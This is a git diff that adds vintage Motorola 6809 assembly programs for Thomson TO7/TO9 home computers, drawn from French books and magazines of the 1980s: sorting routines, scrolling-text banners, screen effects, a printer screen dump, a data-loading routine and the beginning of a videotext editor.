+       STA    PRC
+       RTS
+
+IMP0   JMP    RSCO
+
+DCOP   LDD    #$060A
+       STD    TAB5+3,PCR
+       LDD    #$5700
+       STD    TAB5+1,PCR
+DDE0   LDX    #STAD
+       LEAX   -40,X
+       STX    TAB5+7,PCR flag limite ecr
+       LDY    #ENDAD
+       LEAY   -40,Y
+       LDD    TAB5+3,PCR
+       BSR    FOR2
+DDE2   CLR    TAB5+9,PCR 4bits poid fort
+DDE3   PSHS   X
+       LEAX   TAB1,PCR    interligne
+       BSR    FOR0
+       LEAX   TAB2,PCR    longueur lg
+       BSR    FOR0
+       PULS   X
+
+       LDD    TAB5+1,PCR
+       BSR    FOR2
+       TFR    Y,X        Y->X  adr octet
+
+GPL0   TST    TAB5+6,PCR  flag ram ecran
+       BNE    GPL1
+       BSR    RAMA        0 -> ramA
+       BRA    GPL2
+GPL1   BSR    RAMB        1 -> ramB
+GPL2   LDA    ,X
+       TST    TAB5+5,PCR  flag scrmod
+       BEQ    GPL3
+       TFR    A,B
+       BRA    IMP1
+GPL3   CLRB
+       TST    TAB5+9,PCR  flag passe
+       BEQ    GPL4
+       ROLA
+       ROLA
+       ROLA
+       ROLA
+GPL4   ROLA
+       BCS    GPL8
+GPL5   ROLA
+       BCS    GPL9
+GPL6   ROLA
+       BCS    GPL10
+GPL7   ROLA
+       BCS    GPL11
+       BRA    IMP1
+GPL8   LDB    #$C0
+       BRA    GPL5
+GPL9   ADDB   #$30
+       BRA    GPL6
+GPL10  ADDB   #$0C
+       BRA    GPL7
+GPL11  ADDB   #$03
+
+IMP1   LBSR   IMP0        copie
+       LBSR   IMP0
+       LEAX   -40,X      on remonte 1 lg
+       CMPX   TAB5+7,PCR borne 3FD8/4000
+       BNE    GPL2        2eme passe
+       LDB    #$0D        FIN2 de lg
+       LBSR   IMP0
+       PSHS   X
+       LEAX   TAB1,PCR    interlg
+       LBSR   FOR0
+       PULS   X
+       LDB    #$0A
+       LBSR   IMP0
+       TST    TAB5+5,PCR
+       BEQ    IMP2
+       INC    TAB5+9,PCR
+IMP2   TST    TAB5+9,PCR
+       BNE    COL1       si S=1 -> COL 0
+       INC    TAB5+9,PCR 4 b poid faible
+       LBRA   DDE3
+
+COL1   TST    TAB5+5,PCR  flag scrmod
+       BEQ    COL3
+       TST    TAB5+6,PCR  flag ram ecran
+       BNE    COL2        si  1 -> RAMA
+       INC    TAB5+6,PCR
+       LBRA   DDE2
+COL2   CLR    TAB5+6,PCR
+COL3   LEAY   1,Y
+       CMPY   #ENDAD
+       BEQ    FIN2
+       INC    TAB5+8,PCR
+       LBRA   DDE2
+
+FIN2   LEAX   TAB4,PCR
+       LBSR   FOR0
+       LDA    CLOSE
+       STA    RSOPC
+       LBSR   IMP0
+       PULS   U,Y,X,DP,B,A,CC,PC
+       END
diff --git a/code/3rdparty/sources4-divers/TOMI.ASM b/code/3rdparty/sources4-divers/TOMI.ASM
new file mode 100644
index 0000000..fb5f885
--- /dev/null
+++ b/code/3rdparty/sources4-divers/TOMI.ASM
@@ -0,0 +1,107 @@
+***************************************
+*                                     *
+* ******  ****  **     ** **      **  *
+*   **   **  ** ***   ***        ***  *
+*   **   **  ** ** * * ** **    ****  *
+*   **   **  ** **  *  ** **      **  *
+*   **   **  ** **     ** **      **  *
+*   **   **  ** **     ** **      **  *
+*   **    ****  **     ** **     **** *
+*                                     *
+***************************************
+
+
+FIN    EQU    $9100
+
+
+       ORG    $9000
+
+TOMI1  PSHS   U,Y,X,DP,B,A,CC
+       LDA    #$E7
+       PSHS   A
+       TFR    A,DP
+TOMI2  LDU    #$A000
+TOMI3  LDA    $E7C3
+       ANDA   #8
+       BNE    SORTIE
+       LDA    #$08
+       STA    ,S
+       LDA    <$CA
+       ANDA   #$C4
+       STA    <$CA
+       LDA    <$C8
+       LDY    #$0000
+       LDB    #$1E
+TEMPO  LEAY   -1,Y
+       BNE    TOMI4
+       DECB
+       BEQ    TOMI11
+       LDY    #$0000
+TOMI4  LDA    <$CA
+       BITA   #$40
+       BEQ    TEMPO
+       ANDCC  #$FE
+       LDX    #$0013
+TOMI5  LEAX   -1,X
+       BNE    TOMI5
+TOMI6  BCC    TOMI8
+       BSR    TOMI13
+       BCS    TOMI7
+       RORB
+       ANDCC  #$FE
+       BRA    TOMI10
+TOMI7  RORB
+       ORCC   #$01
+       BRA    TOMI10
+TOMI8  BSR    TOMI15
+       BCC    TOMI9
+       RORB
+       ORCC   #$01
+       BRA    TOMI10
+TOMI9  RORB
+       ANDCC  #$FE
+       BRA    TOMI10
+TOMI10 DEC    ,S
+       BNE    TOMI6
+       ANDB   #$7F
+       BRA    TOMI12
+TOMI11 LDB    #$00
+TOMI12 STB    ,U+
+       CMPU   #$E000
+       BNE    TOMI3
+       INC    $E7E5
+       LDA    $E7E5
+       CMPA   #$10    ou $20 si 512Ko
+       BLO    TOMI2
+SORTIE STU    FIN
+       LDA    $E7E5
+       STA    FIN+2
+       PULS   A
+       PULS   CC,A,B,DP,X,Y,U,PC
+
+TOMI13 LDA    <$CA
+       ANDA   #$C4
+       STA    <$CA
+       LDA    <$C8
+       BSR    TEMPO1
+       LDA    <$CA
+       ANDA   #$40
+       BNE    TOMI16
+TOMI14 ORCC   #$01
+       RTS
+TOMI15 LDA    <$CA
+       ORA    #$10
+       STA    <$CA
+       LDA    <$C8
+       BSR    TEMPO1
+       LDA    <$CA
+       ANDA   #$40
+       BNE    TOMI14
+TOMI16 ANDCC  #$FE
+       RTS
+TEMPO1 LDX    #$005E
+TEMPO2 LEAX   -1,X
+       BNE    TEMPO2
+       RTS
+
+       END
diff --git a/code/3rdparty/sources4-divers/TRI1.ASM b/code/3rdparty/sources4-divers/TRI1.ASM
new file mode 100644
index 0000000..0c5cc10
--- /dev/null
+++ b/code/3rdparty/sources4-divers/TRI1.ASM
@@ -0,0 +1,59 @@
+*
+*            TRI1.ASM
+*
+*    Passez facilement du BASIC au
+*   langage machine des TO7(70),TO9
+*   Programme No XXX pages 220-221
+*
+* =====================================
+*
+*    Tri par la méthode de RIPPLE avec
+*   flag de terminaison,et contrôle du
+*    résultat.
+*
+       ORG    $7900
+       PSHS   U,Y,X,DP,D,CC
+       SETDP  $79
+       LDA    #$79
+       TFR    A,DP
+       LDY    #DON
+       LDX    #TABLE
+DEBUT  LDD    ,X++
+       CMPD   #4
+       BEQ    SUITE
+       STD    ,Y++
+       BRA    DEBUT
+SUITE  LDX    #DON+16
+       STX    <COMP
+D1     LDX    #DON
+D2     LDD    ,X++
+       CMPD   ,X++
+       BHI    SUITE2
+       BSR    SWAP
+SUITE2 CMPX   <COMP
+       BEQ    D3
+       LEAX   -2,X
+       BRA    D2
+D3     TST    <FLAG
+       BEQ    FIN
+       CLR    <FLAG
+       LDU    <COMP
+       LEAU   -2,U
+       CMPU   #DON+2
+       BEQ    FIN
+       STU    <COMP
+       BRA    D1
+SWAP   INC    <FLAG
+       LDY    ,--X
+       STY    ,--X
+       LEAX   2,X
+       STD    ,X++
+       RTS
+FIN    PULS   CC,D,DP,X,Y,U
+       SWI
+TABLE  FDB    12,265,34543,1467,3567
+       FDB    64321,45678,46,$4
+COMP   FDB    0000
+FLAG   FCB    00
+DON    EQU    *
+       END
diff --git a/code/3rdparty/sources4-divers/TRI2.ASM b/code/3rdparty/sources4-divers/TRI2.ASM
new file mode 100644
index 0000000..e61ec1b
--- /dev/null
+++ b/code/3rdparty/sources4-divers/TRI2.ASM
@@ -0,0 +1,87 @@
+
+
+
+****************************************
+*                                      *
+*              T R I 2                 *
+*                                      *
+****************************************
+*                                      *
+* Programme de tri en mémoire centrale *
+* appel par le BASIC par USR(0)        *
+*--------------------------------------*
+*                                      *
+*   Programmation en assembleur TO7    *
+*         Sybex Fagot-Barraly          *
+*         Annexe 2  page 165
+*                                      *
+****************************************
+
+
+       ORG    $7FBD
+
+       LDA    #100    Nb d'éléments à
+       LDB    #100    trier = 100 seront
+* contenus dans les accumulateurs A et B
+
+       LDY    2,X     Le paramètre trans
+* mis au langage machine est placé dans
+* les 2 octets après l'adresse contenue
+* dans X.Y va contenir VARPTR(A(0)).Le
+* programme démarre avec Y pointant sur
+* le 1er élément A(0) du tableau A(I).
+
+SUITE2 PSHS   D       Sauvegarde de D
+
+       LEAX   2,Y     On commande à X de
+* pointer sur le 2ème élément du tableau
+* soit A(1), noter que les entiers sont
+* rangés en mémoire sur 2 octets.
+
+SUITE1 DEC    ,S      Décrémente l'octet
+* au sommet de la pile.Celui-ci équivaut
+* au nombre de passages dans la boucle
+* SUITE1.
+
+       BEQ    PASSE   (+21)On compare le
+       LDD    ,X++    2nd élem. de A(I)
+*                     pointé par X et le
+       CMPD   ,Y      1er (pointé par Y)
+       BHS    SUITE1  (-11)Oui si le 2nd
+* > ou = au 1er alors retour à SUITE1
+* pour comparer le 3ème et le 1er.
+
+       PSHS   D       Si non (2nd<1er)
+       LDD    ,Y      on procède à leur
+       STD    ,--X    échange.Nous avons
+       PULS   D       la certitude à la
+       STD    ,Y      fin de la boucle
+       LEAX   2,X     SUITE1 que A(0)
+       BRA    SUITE1  (-25)est l'élément
+*                     minimum de A(I).
+
+PASSE  LEAY   2,Y     Y va contenir l'
+       PULS   D       adresse de A(1) et
+       DECB           un retour à SUITE2
+       TFR    B,A     est programmé.Pour
+       CMPB   #1      comparer A(1) avec
+       BNE    SUITE2  (-40)les éléments
+* suivants; un échange sera effectué à
+* chaque fois que l'on aura trouvé un
+* élément plus petit que A(1).
+
+       RTS
+       END
+
+* Ainsi après deux passages de la boucle
+* SUITE2, A(0) et A(1) contiendront les
+* deux plus petites valeurs de A(I), et
+* ceci dans l'ordre croissant.
+* Quand le programme arrivera à la fin,
+* les 100 éléments seront rangés et la
+* ligne BASIC 60 nous en donnera la
+* confirmation.
+* NB: La variable Z est une var. fictive
+* dont la valeur est sans importance
+* puisque l'assembleur n'a aucun para-
+* mètre à retourner au BASIC.
diff --git a/code/3rdparty/sources4-divers/TRI2EXG.ASM b/code/3rdparty/sources4-divers/TRI2EXG.ASM
new file mode 100644
index 0000000..a450cf9
--- /dev/null
+++ b/code/3rdparty/sources4-divers/TRI2EXG.ASM
@@ -0,0 +1,86 @@
+
+
+
+****************************************
+*                                      *
+*              T R I 2 EXG             *
+*                                      *
+****************************************
+*                                      *
+* Programme de tri en mémoire centrale *
+* appel par le BASIC par USR(0)        *
+*--------------------------------------*
+*                                      *
+*     Manuel de l'assembleur 6809      *
+*        du TO7/TO7-70 page 165        *
+*                                      *
+****************************************
+
+
+       ORG    $7FBD
+
+       LDA    #100    Nb d'éléments à
+       LDB    #100    trier = 100 seront
+* contenus dans les accumulateurs A et B
+
+       LDY    2,X     Le paramètre trans
+* mis au langage machine est placé dans
+* les 2 octets après l'adresse contenue
+* dans X.Y va contenir VARPTR(A(0)).Le
+* programme démarre avec Y pointant sur
+* le 1er élément A(0) du tableau A(I).
+
+SUITE2 PSHS   D       Sauvegarde de D
+
+       LEAX   2,Y     On commande à X de
+* pointer sur le 2ème élément du tableau
+* soit A(1), noter que les entiers sont
+* rangés en mémoire sur 2 octets.
+
+SUITE1 DEC    ,S      Décrémente l'octet
+* au sommet de la pile.Celui-ci équivaut
+* au nombre de passages dans la boucle
+* SUITE1.
+
+       BEQ    PASSE   (+21)On compare le
+       LDD    ,X++    2nd élem. de A(I)
+*                     pointé par X et le
+       CMPD   ,Y      1er (pointé par Y)
+       BHS    SUITE1  (-11)Oui si le 2nd
+* > ou = au 1er alors retour à SUITE1
+* pour comparer le 3ème et le 1er.
+
+       PSHS   D       Si non (2nd<1er)
+       LDD    ,Y      on procède à leur
+       STD    ,--X    échange.Nous avons
+       PULS   D       la certitude à la
+       STD    ,Y      fin de la boucle
+       LEAX   2,X     SUITE1 que A(0)
+       BRA    SUITE1  (-25)est l'élément
+*                     minimum de A(I).
+
+PASSE  LEAY   2,Y     Y va contenir l'
+       PULS   D       adresse de A(1) et
+       DECB           un retour à SUITE2
+       EXG    B,A     est programmé.Pour
+       CMPB   #1      comparer A(1) avec
+       BNE    SUITE2  (-40)les éléments
+* suivants; un échange sera effectué à
+* chaque fois que l'on aura trouvé un
+* élément plus petit que A(1).
+
+       RTS
+       END
+
+* Ainsi après deux passages de la boucle
+* SUITE2, A(0) et A(1) contiendront les
+* deux plus petites valeurs de A(I), et
+* ceci dans l'ordre croissant.
+* Quand le programme arrivera à la fin,
+* les 100 éléments seront rangés et la
+* ligne BASIC 60 nous en donnera la
+* confirmation.
+* NB: La variable Z est une var. fictive
+* dont la valeur est sans importance
+* puisque l'assembleur n'a aucun para-
+* mètre à retourner au BASIC.
diff --git a/code/3rdparty/sources4-divers/Theophile/ANNONCE.ASM b/code/3rdparty/sources4-divers/Theophile/ANNONCE.ASM
new file mode 100644
index 0000000..fa0bd76
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Theophile/ANNONCE.ASM
@@ -0,0 +1,99 @@
+*
+*  ANNONCE (c) THEOPHILE J. ELTABET
+*       No 5 page 45 juin 1984
+*
+       ORG    $7000
+AFF    EQU    $E803
+CLAV   EQU    $E806
+US     EQU    1FH
+ESC    EQU    1BH
+*
+*      DEBUT
+*
+       LDX    1,X     RECUP AD TEXTE
+       STX    ADTXT
+       STB    LTXT
+       LDX    #ATT11  EN GROSSES LETTRES
+       BSR    EDM
+DEB    CLR    I
+A0     LDX    #POSI
+       BSR    EDM
+       LDA    I       CTRL AFF TXT
+       INCA
+       STA    I
+       CMPA   LTXT    FIN D'UN TOUR ?
+       BHI    A9
+*
+*      DELAI ATTENTE
+*
+       LDY    #3000
+ATT    LEAY   -1,Y
+       BNE    ATT
+       LDA    I
+       CMPA   #19     SI L<19 ALORS A1
+       BMI    A1
+*
+*      CAS DU MESSAGE > 19
+*
+       LDA    I       CALCUL ADR DEBUT
+       SUBA   #18     DU TEXTE
+       LDX    ADTXT
+A7     LEAX   1,X
+       DECA
+       BNE    A7
+       LDA    #19     ET AFFICHAGE
+A2     LDB    0,X     19 CAR
+       JSR    AFF
+       LEAX   1,X
+       DECA
+       BNE    A2
+       BRA    A0
+*
+*      CAS DU MESSAGE < 19 CAR
+*
+A1     LDA    #19     AFF DES . AVANT
+       SUBA   I
+       LDB    #'.
+A4     JSR    AFF
+       DECA
+       BNE    A4
+       LDX    ADTXT
+       LDA    #1      AFFICHAGE DES I
+A6     CMPA   I       PREMIERS CAR
+       BHI    A0
+       LDB    0,X
+       JSR    AFF
+       LEAX   1,X
+       INCA
+       BRA    A6
+*
+*      AUTRE TOUR ?
+*
+A9     JSR    CLAV
+       TSTB
+       BEQ    DEB
+*
+*      FINAL
+*
+FIN    LDX    #ATT00  ON REVIENT
+       BSR    EDM     EN LETTRES NORM
+       RTS
+*
+*      AFFICHAGE MESSAGE
+*
+EDM    LDB    0,X
+       BEQ    FEDM
+       JSR    AFF
+       LEAX   1,X
+       BRA    EDM
+FEDM   RTS
+*
+*      DEFINITION DE ZONES
+*
+POSI   FCB    US,40H+23,40H+1,0
+ATT11  FCB    ESC,4FH,0
+ATT00  FCB    ESC,4CH,0
+LTXT   FCB    0
+I      FCB    0
+ADTXT  FCB    00
+       END
diff --git a/code/3rdparty/sources4-divers/Theophile/ANNONCE2.ASM b/code/3rdparty/sources4-divers/Theophile/ANNONCE2.ASM
new file mode 100644
index 0000000..9dba3cd
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Theophile/ANNONCE2.ASM
@@ -0,0 +1,99 @@
+*
+*  ANNONCE2 (c) THEOPHILE J. ELTABET
+*       No 5 page 45 juin 1984
+*
+       ORG    $A000
+AFF    EQU    $E803
+CLAV   EQU    $E806
+US     EQU    1FH
+ESC    EQU    1BH
+*
+*      DEBUT
+*
+       LDX    1,X     RECUP AD TEXTE
+       STX    ADTXT
+       STB    LTXT
+       LDX    #ATT11  EN GROSSES LETTRES
+       BSR    EDM
+DEB    CLR    I
+A0     LDX    #POSI
+       BSR    EDM
+       LDA    I       CTRL AFF TXT
+       INCA
+       STA    I
+       CMPA   LTXT    FIN D'UN TOUR ?
+       BHI    A9
+*
+*      DELAI ATTENTE
+*
+       LDY    #3000
+ATT    LEAY   -1,Y
+       BNE    ATT
+       LDA    I
+       CMPA   #19     SI L<19 ALORS A1
+       BMI    A1
+*
+*      CAS DU MESSAGE > 19
+*
+       LDA    I       CALCUL ADR DEBUT
+       SUBA   #18     DU TEXTE
+       LDX    ADTXT
+A7     LEAX   1,X
+       DECA
+       BNE    A7
+       LDA    #19     ET AFFICHAGE
+A2     LDB    0,X     19 CAR
+       JSR    AFF
+       LEAX   1,X
+       DECA
+       BNE    A2
+       BRA    A0
+*
+*      CAS DU MESSAGE < 19 CAR
+*
+A1     LDA    #19     AFF DES . AVANT
+       SUBA   I
+       LDB    #'.
+A4     JSR    AFF
+       DECA
+       BNE    A4
+       LDX    ADTXT
+       LDA    #1      AFFICHAGE DES I
+A6     CMPA   I       PREMIERS CAR
+       BHI    A0
+       LDB    0,X
+       JSR    AFF
+       LEAX   1,X
+       INCA
+       BRA    A6
+*
+*      AUTRE TOUR ?
+*
+A9     JSR    CLAV
+       TSTB
+       BEQ    DEB
+*
+*      FINAL
+*
+FIN    LDX    #ATT00  ON REVIENT
+       BSR    EDM     EN LETTRES NORM
+       RTS
+*
+*      AFFICHAGE MESSAGE
+*
+EDM    LDB    0,X
+       BEQ    FEDM
+       JSR    AFF
+       LEAX   1,X
+       BRA    EDM
+FEDM   RTS
+*
+*      DEFINITION DE ZONES
+*
+POSI   FCB    US,40H+23,40H+1,0
+ATT11  FCB    ESC,4FH,0
+ATT00  FCB    ESC,4CH,0
+LTXT   FCB    0
+I      FCB    0
+ADTXT  FCB    00
+       END
diff --git a/code/3rdparty/sources4-divers/Theophile/ANNONCE4.ASM b/code/3rdparty/sources4-divers/Theophile/ANNONCE4.ASM
new file mode 100644
index 0000000..7a67917
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Theophile/ANNONCE4.ASM
@@ -0,0 +1,99 @@
+*
+*  ANNONCE4 (c) THEOPHILE J. ELTABET
+*       No 5 page 45 juin 1984
+*
+       ORG    $B000
+AFF    EQU    $E803
+CLAV   EQU    $E806
+US     EQU    1FH
+ESC    EQU    1BH
+*
+*      DEBUT
+*
+       LDX    1,X     RECUP AD TEXTE
+       STX    ADTXT
+       STB    LTXT
+       LDX    #ATT11  EN GROSSES LETTRES
+       BSR    EDM
+DEB    CLR    I
+A0     LDX    #POSI
+       BSR    EDM
+       LDA    I       CTRL AFF TXT
+       INCA
+       STA    I
+       CMPA   LTXT    FIN D'UN TOUR ?
+       BHI    A9
+*
+*      DELAI ATTENTE
+*
+       LDY    #3000
+ATT    LEAY   -1,Y
+       BNE    ATT
+       LDA    I
+       CMPA   #19     SI L<19 ALORS A1
+       BMI    A1
+*
+*      CAS DU MESSAGE > 19
+*
+       LDA    I       CALCUL ADR DEBUT
+       SUBA   #18     DU TEXTE
+       LDX    ADTXT
+A7     LEAX   1,X
+       DECA
+       BNE    A7
+       LDA    #19     ET AFFICHAGE
+A2     LDB    0,X     19 CAR
+       JSR    AFF
+       LEAX   1,X
+       DECA
+       BNE    A2
+       BRA    A0
+*
+*      CAS DU MESSAGE < 19 CAR
+*
+A1     LDA    #19     AFF DES . AVANT
+       SUBA   I
+       LDB    #'.
+A4     JSR    AFF
+       DECA
+       BNE    A4
+       LDX    ADTXT
+       LDA    #1      AFFICHAGE DES I
+A6     CMPA   I       PREMIERS CAR
+       BHI    A0
+       LDB    0,X
+       JSR    AFF
+       LEAX   1,X
+       INCA
+       BRA    A6
+*
+*      AUTRE TOUR ?
+*
+A9     JSR    CLAV
+       TSTB
+       BEQ    DEB
+*
+*      FINAL
+*
+FIN    LDX    #ATT00  ON REVIENT
+       BSR    EDM     EN LETTRES NORM
+       RTS
+*
+*      AFFICHAGE MESSAGE
+*
+EDM    LDB    0,X
+       BEQ    FEDM
+       JSR    AFF
+       LEAX   1,X
+       BRA    EDM
+FEDM   RTS
+*
+*      DEFINITION DE ZONES
+*
+POSI   FCB    US,40H+23,40H+1,0
+ATT11  FCB    ESC,4FH,0
+ATT00  FCB    ESC,4CH,0
+LTXT   FCB    0
+I      FCB    0
+ADTXT  FCB    00
+       END
diff --git a/code/3rdparty/sources4-divers/Theophile/FLIPTITR.ASM b/code/3rdparty/sources4-divers/Theophile/FLIPTITR.ASM
new file mode 100644
index 0000000..c33751e
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Theophile/FLIPTITR.ASM
@@ -0,0 +1,47 @@
+*
+* FLIPTITRE (C) TEO 1986
+*    No 1 page 19
+*
+DEBUT  EQU    $C000
+GETC   EQU    $E806
+PRC    EQU    $E7C3
+STAD   EQU    $4000
+       ORG    DEBUT
+* PASSAGE EN MEMOIRE FORME
+       LDB    PRC     FORCE MEMOIRE
+       ORB    #1      FORME
+       STB    PRC
+* COORDONNEES DEPART
+ENC1   LDB    #16     2 LIGNES
+       PSHS   B
+ENC    LDX    #STAD+16*40 FIN DES 2 LI
+       LDA    #40     SAUVE LES 40
+P1     LDB    ,-X     DERNIERS GPL
+       PSHS   B
+       DECA
+       BNE    P1
+       LDY    #16*40  NB TOTAL DE GPL
+P2     LDB    ,-X     1 GPL
+       STB    40,X    AFFICHE UNE LIGNE
+       BSR    TEMPO
+       LEAY   -1,Y    + BAS
+       BNE    P2
+       LDX    #STAD   AFFICHE 1ERE
+       LDA    #40     LIGNE
+P3     PULS   B
+       STB    ,X+
+       DECA
+       BNE    P3
+       DEC    ,S      2 LIGNES ?
+       BNE    ENC
+       PULS   B
+       JSR    GETC    UNE TOUCHE
+       TSTB           A ETE FRAPPEE ?
+       BEQ    ENC1    NON
+       RTS            OUI RETOUR BASIC
+TEMPO  PSHS   A
+       LDA    #12
+T1     DECA
+       BNE    T1
+       PULS   A,PC
+       END    DEBUT
diff --git a/code/3rdparty/sources4-divers/Theophile/PAYSAGE2.ASM b/code/3rdparty/sources4-divers/Theophile/PAYSAGE2.ASM
new file mode 100644
index 0000000..d105ac7
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Theophile/PAYSAGE2.ASM
@@ -0,0 +1,194 @@
+*
+*            PAYSAGE2.ASM
+*
+*       Théophile No 9 page 48
+*
+*       Voir également PAYSAGE1
+*    Passez facilement du BASIC au
+*   langage machine des TO7(70),TO9
+*   Programme No XXIX pages 203-215
+*
+* =====================================
+*
+* Recopie d'écran en double dimensions
+* sur imprimante PR90-080.
+*
+
+GRCODE EQU    $6047   Imp mode graphique
+RSOPC  EQU    $602B   Mot cde gest. com.
+RSCO   EQU    $E812   Gère E/S communiq.
+RSTA   EQU    $602C   Etat ct liais. com
+GETP   EQU    $E821   Lect. statut point
+PORT   EQU    $E7C3
+KTST   EQU    $E809   Lecture clavier
+PUTC   EQU    $E803   Affich d'1 caract.
+
+       ORG    $7EDE
+
+COPIE  PSHS   U,Y,X,DP,D,CC
+
+OUVRIR LDB    #$40    Ouverture// Ecrit.
+       STB    RSOPC
+       JSR    RSCO
+       LBCS   ARRET
+       LDA    PORT    Mémoire-caractère
+       ORA    #1
+       STA    PORT
+       LDA    #8      .Code copie graph.
+       STA    RSOPC   .Imp.PR90-080+Mise
+       LDB    #8      .en écriture
+       JSR    RSCO
+       LBCS   ARRET
+
+CURSOR LDB    #$14    Effacement curseur
+       JSR    PUTC
+
+INIT   LDX    #320    Le premier point
+*                     d'analyse sera:
+PREM   LDY    #0      X=319,Y=0
+
+****************************************
+*La première colonne ne fait que 2 pts *
+*en largeur.Son traitement est de type *
+*DROIT (le bit de gauche ne sera double*
+*qu'à l'impression de la ligne suivante*
+*Pour cela on n'utilise qu'une partie  *
+*de DMASQ appelée INIMSK.              *
+****************************************
+
+LIGN   CLRA           1ère colonne adr.
+       LDU    #INIMSK 1er masque
+
+POINT  LEAX   -1,X    Décrémente X lire
+       JSR    GETP    coul du pt (X,Y)
+       CMPB   #0      si coul=FOND si
+       BMI    SUIV    coul=FORME on uili
+       ORA    ,U      se le masque.
+
+SUIV   LDB    ,U+     Masque suivant est
+       CMPB   #$80    -ce le dernier ?
+       BLO    POINT   non=>point suivant
+       ORA    -1,U    oui=>masquer 1->b7
+
+IMPR   EXG    A,B     L'octet à écrire
+*                     passe dans B
+       JSR    RSCO    1ère écriture
+       LBCS   ARRET
+       JSR    RSCO    2ème écriture
+       LBCS   ARRET
+       LEAY   1,Y     Y suivant...
+       CMPY   #200    Bas de l'écran ?
+       BEQ    CRLF
+       LEAX   3,X     Imp ligne X=X+3
+       BRA    LIGN    passer à la ligne
+*                     Y+1
+
+CRLF   LDB    #$0D    CR=Retour chariot
+       JSR    RSCO
+       LBCS   ARRET
+       LDB    #$0A    LF=Saut de ligne
+       JSR    RSCO
+       LBCS   ARRET
+       LEAX   2,X
+       BRA    GAUCHE
+
+DROIT  LDY    #0      TRAIT. TYPE DROIT
+
+DLIGN  CLRA
+       LDU    #DMASQ  Adresse 1er masque
+
+DPOINT LEAX   -1,X    Décrémente X lire
+       JSR    GETP    couleur du point
+       CMPB   #0      (X,Y),si coul=fond
+       BMI    DSUIV   si coul=forme on
+       ORA    ,U      utilise le masque.
+
+DSUIV  LDB    ,U+     Masque suivant est
+       CMPB   #$80    -ce le dernier ?
+       BLO    DPOINT  non=>point suivant
+       ORA    -1,U    oui=>masquer 1->b7
+
+DIMPR  EXG    A,B     L'octet à écrire
+*                     passe dans B
+
+       JSR    RSCO    1ère écriture
+       BCS    ARRET
+       JSR    RSCO    2ème écriture
+       BCS    ARRET
+       LEAY   1,Y     Y suivant...
+       CMPY   #200    Bas de l'écran ?
+       BEQ    DCRLF   Oui=>Imp la ligne
+       LEAX   5,X     X=X+5
+       BRA    DLIGN   Passer à la ligne
+*                     Y+1
+
+DCRLF  LDB    #$0D    Retour chariot
+       JSR    RSCO
+       BCS    ARRET
+       LDB    #$0A    Saut de ligne
+       JSR    RSCO
+       BCS    ARRET
+       LEAX   2,X
+
+GAUCHE LDY    #0      TRAIT. TYPE GAUCHE
+
+GLIGN  CLRA
+       LDU    #GMASQ
+
+GPOINT LEAX   -1,X
+       JSR    GETP
+       CMPB   #0
+       BMI    GSUIV
+       ORA    ,U
+
+GSUIV  LDB    ,U+
+       CMPB   #$80
+       BLO    GPOINT
+       ORA    -1,U
+
+GIMPR  EXG    A,B
+       JSR    RSCO
+       BCS    ARRET
+       JSR    RSCO
+       BCS    ARRET
+       LEAY   1,Y
+       CMPY   #200
+       BEQ    GCRLF
+       LEAX   5,X
+       BRA    GLIGN
+
+GCRLF  LDB    #$0D    CR=Retour chariot
+       JSR    RSCO
+       BCS    ARRET
+       LDB    #$0A    LF=Saut de ligne
+       JSR    RSCO
+       BCS    ARRET
+       JSR    KTST    Arret imp si une
+       BCS    ARRET   touche actionnée
+       LEAX   1,X
+       BEQ    ARRET
+       LBRA   DROIT
+
+ARRET  LDB    #$F     Retour en mode
+       JSR    RSCO    caractère
+       LDA    #16     Fermeture imp
+       STA    RSOPC
+       JSR    RSCO
+       PULS   X,Y,U,D,DP,CC,PC
+
+*Masques pour traitement DROIT:
+
+DMASQ  FCB    3       00000011
+       FCB    0CH     00001100
+INIMSK FCB    30H     00110000
+       FCB    40H     01000000
+       FCB    80H     10000000 bit Graph
+
+*Masques pour traitement GAUCHE:
+
+GMASQ  FCB    1       00000001
+       FCB    6       00000110
+       FCB    18H     00011000
+       FCB    60H     01100000
+       FCB    80H     10000000 bit Graph
+       END
diff --git a/code/3rdparty/sources4-divers/VIDEO.ASM b/code/3rdparty/sources4-divers/VIDEO.ASM
new file mode 100644
index 0000000..5336ce8
--- /dev/null
+++ b/code/3rdparty/sources4-divers/VIDEO.ASM
@@ -0,0 +1,395 @@
+*VIDEOTEXT
+
+
+*EDITEUR
+
+COMPTX EQU    $9800
+COMPTY EQU    $9801
+LX     EQU    $9802
+LY     EQU    $9803
+
+       ORG    $9000
+
+DEBUT  PSHS   A,B,CC,DP,X,Y,U
+G      LDB    #$11
+       JSR    $E803
+       LDD    #$0600
+       STD    LX
+B0     LDY    #$A000
+BOUCLE CMPY   #$A000
+       BLO    B0
+       CMPY   #$DF80
+       BLO    B1
+       LDY    #$DF78
+B1     TFR    Y,X
+       LBSR   AFFICH
+CURSOR LDD    LX
+       LBSR   LOCATE
+*KTST  JSR    $E809
+*      BCC    KTST
+GETC   JSR    $E806
+       BCC    GETC
+ANAL   LDA    LX
+       LDU    #TABLIN
+KEY8   CMPB   #8
+       BNE    KEY9
+KEY81  DECA
+       CMPA   #6
+       BLO    KEY82
+       TST    A,U
+       BEQ    KEY81
+       BRA    POSCUR
+KEY82  LDA    #39
+       BRA    POSCUR
+KEY9   CMPB   #9
+       BNE    KEY10
+KEY91  INCA
+       CMPA   #38
+       BHI    KEY92
+       TST    A,U
+       BEQ    KEY91
+       BRA    POSCUR
+KEY92  LDA    #6
+POSCUR STA    LX
+       BRA    CURSOR
+KEY10  CMPB   #10
+       BNE    KEY11
+KEY101 INC    LY
+       LDA    LY
+       CMPA   #25
+       BLO    CURSOR
+       DEC    LY
+       LBRA   SCRHAU
+KEY11  CMPB   #11
+       BNE    AUTRE
+KEY111 DEC    LY
+       BPL    CURSOR
+       INC    LY
+       LBRA   SCRBAS
+AUTRE  CMPB   #153
+       LBEQ   K
+       CMPB   #32
+       BLO    GETC
+       CMPB   #127
+       BHI    GETC
+       TST    A,U
+       BPL    MODIF
+       CMPB   #$30
+       BLO    GETC
+       CMPB   #$3A
+       BLO    MODIF
+       ANDB   #$DF
+       CMPB   #$41
+       BLO    GETC
+       CMPB   #$46
+       BHI    GETC
+MODIF  TST    A,U
+       BMI    CODHEX
+       PSHS   B
+       SUBA   #31
+       LEAX   A,Y
+       LDA    LY
+       LDB    #8
+       MUL
+       LEAX   D,X
+       PULS   A
+       BRA    ECRIT
